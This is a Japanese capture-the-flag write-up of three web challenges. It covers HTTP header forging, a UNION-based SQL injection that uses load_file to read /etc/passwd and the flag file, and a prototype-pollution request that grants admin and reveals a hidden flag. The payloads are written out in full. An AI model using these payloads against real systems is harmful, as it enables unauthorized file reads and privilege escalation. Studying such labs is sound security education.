https://ctftime.org/event/2463
[web] Let's Help John!
ソースコード無し。サイトを巡回して/play
を見ると指令が書いてあった。指令に従ってHTTPリクエストヘッダーを色々やる問題。
Make sure you are referred by the State Official. Their official web is http://state.com.
>Referer: http://state.com
Make sure his Cookie quantity is not "Limited". Make it "Unlimited"!
->Cookie: quantity=Unlimited
Change your User-Agent to "AgentYessir".
->User-Agent: AgentYessir
Great! To make it obvious for John, lets say it's From pinkus@cellmate.com.
->From: pinkus@cellmate.com
これをやるとフラグがもらえる。
[web] Chicken Daddy
ソースコード有り。javascriptで書かれたwebサーバとMySQLサーバが与えられる。フラグはMySQLサーバの/home/redacted/flag.txt
に置かれている。redactedとあるのでユーザー名も取得する必要があるのだろう。
SQL Injectionがある
javascriptのサーバー側は非常に簡潔でSQL Injectionできる所がある。
export async function getRecipe(id) { const [results] = await conn.query(`SELECT * FROM recipes WHERE id = ${id}`); return results; } app.get('/', async (req, res) => { const id = req.query.id; try{ if (!id) { let recipes = await getAllRecipes(); res.render('index', { recipes: recipes }); } else { let [recipe] = await getRecipe(id); if (!recipe) { throw new Error('Recipe not found'); } res.render('recipe', { recipe: recipe }); } } catch (err) { res.status(404).render('errors/404'); } });
コード数も少なく、webアプリはSQL Injectionするためだけの存在なのだろう。recipesテーブルは
CREATE TABLE IF NOT EXISTS recipes (id INT PRIMARY KEY, name TEXT, img_url TEXT, description TEXT, instructions TEXT)
のように構成されていて、埋め込み先のSELECT * FROM recipes WHERE id = ${id}
では*でカラムが指定されているので、カラム数は5個である。よって、SQL Injectionのテストのため、idに-1 union select 0,0,0,0,"test string"
と入れてみると、test string
が応答として帰ってくることが確認できる。
これは
SELECT * FROM recipes WHERE id = -1 union select 0,0,0,0,"test string"
のように埋め込まれてid=-1は存在しないので、unionで結合された後ろの結果のみが応答として帰ってくるためである。
さて、SQL Injectionが使えることは分かった。だが、今回の問題のミソは、SQL Injectionができる状態でユーザー名特定とファイル読み出しを実現することである。
my.cnfを見てみる
MySQL側でmy.cnfが提供されているデフォルト設定との差を見てみると
secure-file-priv=
のようにsecure-file-privが空になっている。公式ドキュメントを読むと、ファイルの読み書きできる場所を指定するパラメタのようで、これが空の場合は制限がかからずセキュアな設定ではないみたい。
つまりはload_fileが使えるということ。いつもの試金石である/etc/passwd
で試してみよう。
-1 union select 0,0,0,0,load_file("/etc/passwd")
これをすると色々と出力が出てきた。フラグのパスを特定するにはユーザー名を特定する必要があるが、この情報はまさにこの/etc/passwd
からも得られる。ayamCemani
という見慣れぬユーザー名が得られた。ということで、以下でフラグ獲得。
-1 union select 0,0,0,0,load_file("/home/ayamCemani/flag.txt")
[web] SIAK-OG
ソースコード有り。javascriptで書かれたwebサイトが与えられ、本番環境は共有ではなくインスタンサーが用意されていた。ソースコードを見て怪しい所を探す。
フラグの場所は?
フラグはここにある。
courses_list['DSA'] = { name: 'DSA', available: false, taken: false, description: fs.readFileSync('flag.txt', 'utf8').trim(), cost: 3, }; ...[redacted]... app.use((req, res, next) => { if (req.ip == '127.0.0.1') { req.session.admin = true; } if (!req.session.courses) { req.session.courses = courses_list; } next(); }); ...[redacted]... app.get('/', (req, res) => { res.render('index', { courses: req.session.courses }); });
という感じでcourses_listに入っていて、それがsession.coursesに入ってくる。フラグが書いてあるdescriptionが表示されるのでindex.ejsの部分で、
<% Object.keys(courses).forEach( course => { if(courses[course].taken) { %> <tr class="<%= courseCount % 2 == 0 ? "bg-lightergray" : "bg-white" %>"> <% courseCount += 1 %> <td><%= courses[course].name %></td> <td><%= courses[course].cost %> SKS</td> <td><%= courses[course].description %></td> </tr> <% } }) %>
ここ。takenがtrueであれば表示されるがフラグのあるDSAのtakenはfalseなので表示できない。
Prototype Pollution
以下にもPrototype Pollution出来そうな部分を見つけた。本番環境がインスタンサーで一人ひとり分けられていることも、この仮定を支持している。
app.use(express.json({ extended: true })); ...[redacted]... app.post('/api/v1/edit-irs', (req, res) => { for (const [key, value] of Object.entries(req.body)) { if (!req.session.courses[key]) { req.session.courses[key] = JSON.parse(JSON.stringify(dummy)); } for (const [k, v] of Object.entries(value)) { if (!req.session.admin && (k === 'available' || req.session.courses[key].available === false)) { continue; } else { req.session.courses[key][k] = v; } } } res.send('Successfully updated'); });
jsonで{"__proto__": {"hoge": "fuga"}}
のようにするとPrototype Pollution可能。そして、よく見るとこの部分でDSAのtakenをtrueにすることができそうである。だが、これはやってみると失敗する。これは条件のreq.session.courses[key].available === false
に該当するためである。このフィルタリングを回避するには、!req.session.admin
をfalseにする必要があるが…これはPrototype Pollutionで可能である!
app.use((req, res, next) => { if (req.ip == '127.0.0.1') { req.session.admin = true; } if (!req.session.courses) { req.session.courses = courses_list; } next(); });
このように127.0.0.1からのアクセスであればsessionにadminを追加しているが、最初はadminは未定義になるのでPrototype Pollutionでadminを追加してやればそちらを使わせることが可能である。
フラグ獲得へ
次の流れでフラグを取得していこう。
- sessionにadmin=trueを追加する
- DSAのtakenをtrueに変更する
GET /
でフラグを表示させる
手順1と手順2は1つのリクエストで完結させることができる。セッションを適当に発行した後、以下のようなリクエストを投げよう。
POST /api/v1/edit-irs HTTP/2 Host: [redacted] Cookie: connect.sid=s%3AxHWllWillyrWZqlK05GIPgZhkuP0Kuut.ARHMvEOgoMhyUIEZSktoLu3SO5wAF1O3UBca2Rwkogs Content-Length: 54 Content-Type: application/json {"__proto__": {"admin": true}, "DSA": {"taken": true}}
これにより、最初のループでPrototype Pollutionを起こし、{}['admin']=true
になるようにする。次のループで検証が回避できるようになっているのでDSAのtakenをtrueに変更する。
これでフラグの表示制限が解除されたので、手順3としてGET /
にアクセスするとフラグが得られる。